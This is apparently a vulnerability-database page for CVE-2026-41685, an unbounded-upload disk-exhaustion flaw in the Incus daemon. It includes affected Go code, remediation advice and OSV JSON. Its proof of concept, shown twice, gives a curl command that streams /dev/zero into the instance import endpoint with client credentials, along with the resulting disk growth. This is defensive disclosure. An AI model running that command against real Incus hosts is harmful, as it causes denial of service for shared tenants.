Vulnerabilities in pkg:golang/github.com/lxc/incus/v6/cmd/incusd

PACKAGE
Advisory Identifier: GHSA-98vh-x9cx-9cfp
Advisory Summary

CVE-2026-41685 is a MODERATE (CVSS 4.3) incus is affected by unbounded vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting Github.com/lxc/incus/v6/cmd/incusd libraries in the Go ecosystem. The issue involves incus is affected by unbounded binary import disk exhaustion. Remediation is available in the latest vendor maintenance releases.

10 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:golang/github.com/lxc/incus/v6/cmd/incusd

10 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:golang/github.com/lxc/incus/v6/cmd/incusd. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-98vh-x9cx-9cfp CVE-2026-41685 MODERATE Incus is affected by unbounded binary import disk exhaustion
GHSA-x5r6-jr56-89pv CVE-2026-41684 MODERATE Incus has Nil Dereferences on Restore via Malformed YAML
GHSA-67wx-r9xr-x75x CVE-2026-41648 MODERATE Incus has Unbounded YAML Metadata Decode via Parsing
GHSA-fwj8-62r8-8p8m CVE-2026-41647 MODERATE Incus has Nil-Pointer Dereference via S3 Bucket Import
GHSA-r7w7-mmxr-47r9 CVE-2026-40197 HIGH Incus has a Nil-Pointer Dereference via Custom Volume Import
GHSA-4m88-wxj4-9qj6 CVE-2026-40251 HIGH Incus Vulnerable to Panic via Snapshot Bounds Check
GHSA-c839-4qxr-j4x3 CVE-2026-40243 LOW Incus has an OVN TLS Verification that Accepts Peer-Supplied Roots
GHSA-gc7j-g665-rxr9 CVE-2026-40195 HIGH Incus has a Nil-Pointer Dereference Panic via Bucket Metadata
GHSA-8gw4-p4wq-4hcv CVE-2026-35527 MODERATE Incus has Blind SSRF via Image Import Preflight HEAD
GHSA-7f67-crqm-jgh7 CVE-2026-23954 HIGH Incus container image templating arbitrary host file read and write

CVE-2026-41685 at a Glance

CVE Identifier CVE-2026-41685
GHSA Identifier GHSA-98vh-x9cx-9cfp
Severity MODERATE
CVSS v3.1 Base Score 4.3
CWE Classification CWE-770: Allocation of Resources Without Limits or Throttling
Affected Product Github.com/lxc/incus/v6/cmd/incusd
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 4.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability Low (A:L)

How to Fix CVE-2026-41685

To remediate this vulnerability, upgrade all affected Github.com/lxc/incus/v6/cmd/incusd dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/lxc/incus/v6/cmd/incusd fixed: Latest secure release
Upgrade github.com/lxc/incus/v6/cmd/incusd to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/lxc/incus/v6/cmd/incusd

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-41685, inspect your project dependencies for Github.com/lxc/incus/v6/cmd/incusd:

inspect dependencies for github.com/lxc/incus/v6/cmd/incusd

Analyze the terminal output to locate any version of Github.com/lxc/incus/v6/cmd/incusd in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In Github.com/lxc/incus/v6/cmd/incusd, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Uploads of large amount of data by authenticated users can run the Incus server out of disk space, potentially taking down the host system. The impact here is limited for anyone using `storage.images_volume` and `storage.backups_volume` as those users will have large uploads be stored on those volumes rather than directly on the host filesystem. This is the default behavior on IncusOS. ### Details Multiple binary import paths accept application/octet-stream requests and stream the HTTP request body directly into temporary files on the host without any visible request-size limit on the upload path. When these endpoints receive binary content, the daemon routes the request body into import routines that create temporary files under daemon-controlled host storage locations and copy the full attacker-controlled stream into them using direct io.Copy operations. This write occurs before the uploaded content is fully parsed and before later validation can reject the import. Because no visible http.MaxBytesReader, io.LimitReader, quota-aware wrapper, or equivalent size-enforcement mechanism is present around these upload paths, an authenticated attacker can supply an arbitrarily large continuous stream of data. This causes the daemon to keep writing unbounded input to host storage until the operation fails or the underlying file system is exhausted. In a multi-tenant deployment, this can be used to consume shared disk space and cause denial of service on the node. The binary import handlers are reachable through application/octet-stream request paths in the instance backup import, storage bucket import, and storage volume import flows, where the request body is passed directly into import helpers handling backup and ISO uploads. Affected File: https://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/instances_post.go Affected Code: ``` func createFromBackup(s *state.State, r *http.Request, projectName string, data io.Reader, pool string, instanceName string, config string, device string) response.Response { reverter := revert.New() defer reverter.Fail() // Create temporary file to store uploaded backup data. backupFile, err := os.CreateTemp(internalUtil.VarPath("backups"), fmt.Sprintf("%s_", backup.WorkingDirPrefix)) if err != nil { return response.InternalError(err) } defer func() { _ = os.Remove(backupFile.Name()) }() reverter.Add(func() { _ = backupFile.Close() }) // Stream uploaded backup data into temporary file. _, err = io.Copy(backupFile, data) if err != nil { return response.InternalError(err) } [...] } ``` Affected File: https://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/storage_buckets.go Affected Code: ``` func createStoragePoolBucketFromBackup(s *state.State, r *http.Request, requestProjectName string, projectName string, data io.Reader, pool string, bucketName string) response.Response { [...] backupFile, err := os.CreateTemp(internalUtil.VarPath("backups"), fmt.Sprintf("%s_", backup.WorkingDirPrefix)) [...] _, err = io.Copy(backupFile, data) [...] } ``` Affected File: https://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/storage_volumes.go Affected Code: ``` func createStoragePoolVolumeFromBackup(s *state.State, r *http.Request, requestProjectName string, projectName string, data io.Reader, pool string, volName string) response.Response { [...] backupFile, err := os.CreateTemp(internalUtil.VarPath("backups"), fmt.Sprintf("%s_", backup.WorkingDirPrefix)) [...] _, err = io.Copy(backupFile, data) [...] } [...] func createStoragePoolVolumeFromISO(s *state.State, r *http.Request, requestProjectName string, projectName string, data io.Reader, pool string, volName string) response.Response { [...] isoFile, err := os.CreateTemp(internalUtil.VarPath("isos"), fmt.Sprintf("%s_", "incus_iso")) [...] size, err := io.Copy(isoFile, data) [...] } ``` ### PoC The following PoC demonstrates one reachable instance of this issue through the instance import endpoint. The same unbounded upload-to-tempfile pattern is also present in storage bucket backup import, storage volume backup import, and storage volume ISO import handlers. Step 1: Trigger the sustained upload stream From an Incus client with access to the target server, open a long-lived application/octet-stream upload and continuously stream null bytes into the instance import endpoint. Using timeout 120 limits the reproduction to two minutes while still demonstrating that the daemon keeps writing attacker-controlled input for as long as the connection remains open. Commands: ``` echo "[*] Initiating a 2-minute sustained disk exhaustion attack..." timeout 120 cat /dev/zero | curl -k -X POST \ --cert ~/.config/incus/client.crt \ --key ~/.config/incus/client.key \ "https://7atest.dev.stgraber.org:443/1.0/instances?project=default" \ -H "Content-Type: application/octet-stream" \ -T - ``` Step 2: Verify host-side disk growth during the upload On the Incus host, observe the temporary backup file being actively written under the backups directory while the client keeps the stream open. Command: ``` watch -n 1 "ls -lh /var/lib/incus/backups/" ``` Result: ``` total 100M drwx------ 2 root root 4.0K Mar 1 22:44 custom -rw------- 1 root root 100M Mar 23 10:46 incus_backup_2743299426 drwx------ 2 root root 4.0K Mar 1 22:44 instances total 106M drwx------ 2 root root 4.0K Mar 1 22:44 custom -rw------- 1 root root 106M Mar 23 10:46 incus_backup_2743299426 drwx------ 2 root root 4.0K Mar 1 22:44 instances total 110M drwx------ 2 root root 4.0K Mar 1 22:44 custom -rw------- 1 root root 110M Mar 23 10:46 incus_backup_2743299426 drwx------ 2 root root 4.0K Mar 1 22:44 instances total 113M drwx------ 2 root root 4.0K Mar 1 22:44 custom -rw------- 1 root root 113M Mar 23 10:46 incus_backup_2743299426 drwx------ 2 root root 4.0K Mar 1 22:44 instances ``` Step 3: Observe post-stream failure behavior When the client-side timeout expires, the upload is interrupted locally and the stream stops. In this reproduction, that means the process is terminated before any later import-stage error is surfaced back to the client. This does not mitigate the issue during the active upload window, because io.Copy continues writing to disk for as long as the attacker keeps the stream open. It is recommended to enforce a maximum request size or quota-aware upload limit in the affected binary import paths before any data is written to disk. The incoming request body should be wrapped with http.MaxBytesReader, io.LimitReader, or an equivalent quota-aware mechanism so that oversized uploads fail safely before consuming unbounded host storage. By contrast, other upload flows such as image upload appear to use internalIO.NewQuotaWriter(..., budget) when persisting request data, but no analogous quota enforcement is visible in the affected binary import handlers. A patch is available at https://github.com/lxc/incus/releases/tag/v7.0.0. ### Credit This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)

CVE-2026-41685 Affected Github.com/lxc/incus/v6/cmd/incusd Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
github.com/lxc/incus/v6/cmd/incusd
Go
≤ 6.23.0

References

Frequently Asked Questions

What is CVE-2026-41685?
CVE-2026-41685 is a security vulnerability in Github.com/lxc/incus/v6/cmd/incusd involving Incus is affected by unbounded binary import disk exhaustion under CWE-770: Allocation of Resources Without Limits or Throttling.
Which Github.com/lxc/incus/v6/cmd/incusd versions are affected?
Affected versions include releases prior to current release patches across affected packages: github.com/lxc/incus/v6/cmd/incusd.
What version fixes CVE-2026-41685?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/lxc/incus/v6/cmd/incusd affected?
Yes, github.com/lxc/incus/v6/cmd/incusd is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-41685?
CVE-2026-41685 has a CVSS v3.1 base score of 4.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L.
What CWE is associated with CVE-2026-41685?
CVE-2026-41685 is classified under CWE-770: Allocation of Resources Without Limits or Throttling (The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.).
How can I check Go dependencies for CVE-2026-41685?
Run the dependency tree command: 'inspect dependencies for github.com/lxc/incus/v6/cmd/incusd'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-98vh-x9cx-9cfp",
  "modified" : "2026-05-08T21:47:22Z",
  "published" : "2026-05-04T19:46:32Z",
  "aliases" : [ "CVE-2026-41685" ],
  "summary" : "Incus is affected by unbounded binary import disk exhaustion",
  "details" : "### Summary\nUploads of large amount of data by authenticated users can run the Incus server out of disk space, potentially taking down the host system.\n\nThe impact here is limited for anyone using `storage.images_volume` and `storage.backups_volume` as those users will have large uploads be stored on those volumes rather than directly on the host filesystem. This is the default behavior on IncusOS.\n\n### Details\nMultiple binary import paths accept application/octet-stream requests and stream the HTTP request body directly into temporary files on the host without any visible request-size limit on the upload path.\n\nWhen these endpoints receive binary content, the daemon routes the request body into import routines that create temporary files under daemon-controlled host storage locations and copy the full attacker-controlled stream into them using direct io.Copy operations. This write occurs before the uploaded content is fully parsed and before later validation can reject the import.\n\nBecause no visible http.MaxBytesReader, io.LimitReader, quota-aware wrapper, or equivalent size-enforcement mechanism is present around these upload paths, an authenticated attacker can supply an arbitrarily large continuous stream of data. This causes the daemon to keep writing unbounded input to host storage until the operation fails or the underlying file system is exhausted. In a multi-tenant deployment, this can be used to consume shared disk space and cause denial of service on the node.\n\nThe binary import handlers are reachable through application/octet-stream request paths in the instance backup import, storage bucket import, and storage volume import flows, where the request body is passed directly into import helpers handling backup and ISO uploads.\n\nAffected File:\nhttps://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/instances_post.go \n\nAffected Code:\n```\nfunc createFromBackup(s *state.State, r *http.Request, projectName string, data io.Reader, pool string, instanceName string, config string, device string) response.Response {\n    reverter := revert.New()\n    defer reverter.Fail()\n\n    // Create temporary file to store uploaded backup data.\n    backupFile, err := os.CreateTemp(internalUtil.VarPath(\"backups\"), fmt.Sprintf(\"%s_\", backup.WorkingDirPrefix))\n    if err != nil {\n        return response.InternalError(err)\n    }\n\n    defer func() { _ = os.Remove(backupFile.Name()) }()\n    reverter.Add(func() { _ = backupFile.Close() })\n\n    // Stream uploaded backup data into temporary file.\n    _, err = io.Copy(backupFile, data)\n    if err != nil {\n        return response.InternalError(err)\n    }\n    [...]\n}\n```\n\nAffected File:\nhttps://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/storage_buckets.go \n\nAffected Code:\n```\nfunc createStoragePoolBucketFromBackup(s *state.State, r *http.Request, requestProjectName string, projectName string, data io.Reader, pool string, bucketName string) response.Response {\n    [...]\n    backupFile, err := os.CreateTemp(internalUtil.VarPath(\"backups\"), fmt.Sprintf(\"%s_\", backup.WorkingDirPrefix))\n    [...]\n    _, err = io.Copy(backupFile, data)\n    [...]\n}\n```\n\nAffected File:\nhttps://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/storage_volumes.go \n\nAffected Code:\n```\nfunc createStoragePoolVolumeFromBackup(s *state.State, r *http.Request, requestProjectName string, projectName string, data io.Reader, pool string, volName string) response.Response {\n    [...]\n    backupFile, err := os.CreateTemp(internalUtil.VarPath(\"backups\"), fmt.Sprintf(\"%s_\", backup.WorkingDirPrefix))\n    [...]\n    _, err = io.Copy(backupFile, data)\n    [...]\n}\n\n[...]\n\nfunc createStoragePoolVolumeFromISO(s *state.State, r *http.Request, requestProjectName string, projectName string, data io.Reader, pool string, volName string) response.Response {\n    [...]\n    isoFile, err := os.CreateTemp(internalUtil.VarPath(\"isos\"), fmt.Sprintf(\"%s_\", \"incus_iso\"))\n    [...]\n    size, err := io.Copy(isoFile, data)\n    [...]\n}\n```\n\n### PoC\nThe following PoC demonstrates one reachable instance of this issue through the instance import endpoint. The same unbounded upload-to-tempfile pattern is also present in storage bucket backup import, storage volume backup import, and storage volume ISO import handlers.\n\nStep 1: Trigger the sustained upload stream\n\nFrom an Incus client with access to the target server, open a long-lived application/octet-stream upload and continuously stream null bytes into the instance import endpoint. Using timeout 120 limits the reproduction to two minutes while still demonstrating that the daemon keeps writing attacker-controlled input for as long as the connection remains open.\n\nCommands:\n```\necho \"[*] Initiating a 2-minute sustained disk exhaustion attack...\"\n\ntimeout 120 cat /dev/zero | curl -k -X POST \\\n  --cert ~/.config/incus/client.crt \\\n  --key ~/.config/incus/client.key \\\n  \"https://7atest.dev.stgraber.org:443/1.0/instances?project=default\" \\\n  -H \"Content-Type: application/octet-stream\" \\\n  -T -\n```\n\nStep 2: Verify host-side disk growth during the upload\n\nOn the Incus host, observe the temporary backup file being actively written under the backups directory while the client keeps the stream open.\n\nCommand:\n```\nwatch -n 1 \"ls -lh /var/lib/incus/backups/\"\n```\n\nResult:\n```\ntotal 100M\ndrwx------ 2 root root 4.0K Mar  1 22:44 custom\n-rw------- 1 root root 100M Mar 23 10:46 incus_backup_2743299426\ndrwx------ 2 root root 4.0K Mar  1 22:44 instances\n\ntotal 106M\ndrwx------ 2 root root 4.0K Mar  1 22:44 custom\n-rw------- 1 root root 106M Mar 23 10:46 incus_backup_2743299426\ndrwx------ 2 root root 4.0K Mar  1 22:44 instances\n\ntotal 110M\ndrwx------ 2 root root 4.0K Mar  1 22:44 custom\n-rw------- 1 root root 110M Mar 23 10:46 incus_backup_2743299426\ndrwx------ 2 root root 4.0K Mar  1 22:44 instances\n\ntotal 113M\ndrwx------ 2 root root 4.0K Mar  1 22:44 custom\n-rw------- 1 root root 113M Mar 23 10:46 incus_backup_2743299426\ndrwx------ 2 root root 4.0K Mar  1 22:44 instances\n```\n\nStep 3: Observe post-stream failure behavior\n\nWhen the client-side timeout expires, the upload is interrupted locally and the stream stops. In this reproduction, that means the process is terminated before any later import-stage error is surfaced back to the client. This does not mitigate the issue during the active upload window, because io.Copy continues writing to disk for as long as the attacker keeps the stream open.\n\nIt is recommended to enforce a maximum request size or quota-aware upload limit in the affected binary import paths before any data is written to disk. The incoming request body should be wrapped with http.MaxBytesReader, io.LimitReader, or an equivalent quota-aware mechanism so that oversized uploads fail safely before consuming unbounded host storage. By contrast, other upload flows such as image upload appear to use internalIO.NewQuotaWriter(..., budget) when persisting request data, but no analogous quota enforcement is visible in the affected binary import handlers.\n\nA patch is available at https://github.com/lxc/incus/releases/tag/v7.0.0.\n\n### Credit\nThis issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/lxc/incus/v6/cmd/incusd"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "6.23.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lxc/incus/security/advisories/GHSA-98vh-x9cx-9cfp"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41685"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lxc/incus"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lxc/incus/releases/tag/v7.0.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-04T19:46:32Z",
    "nvd_published_at" : "2026-05-07T14:16:03Z"
  }
}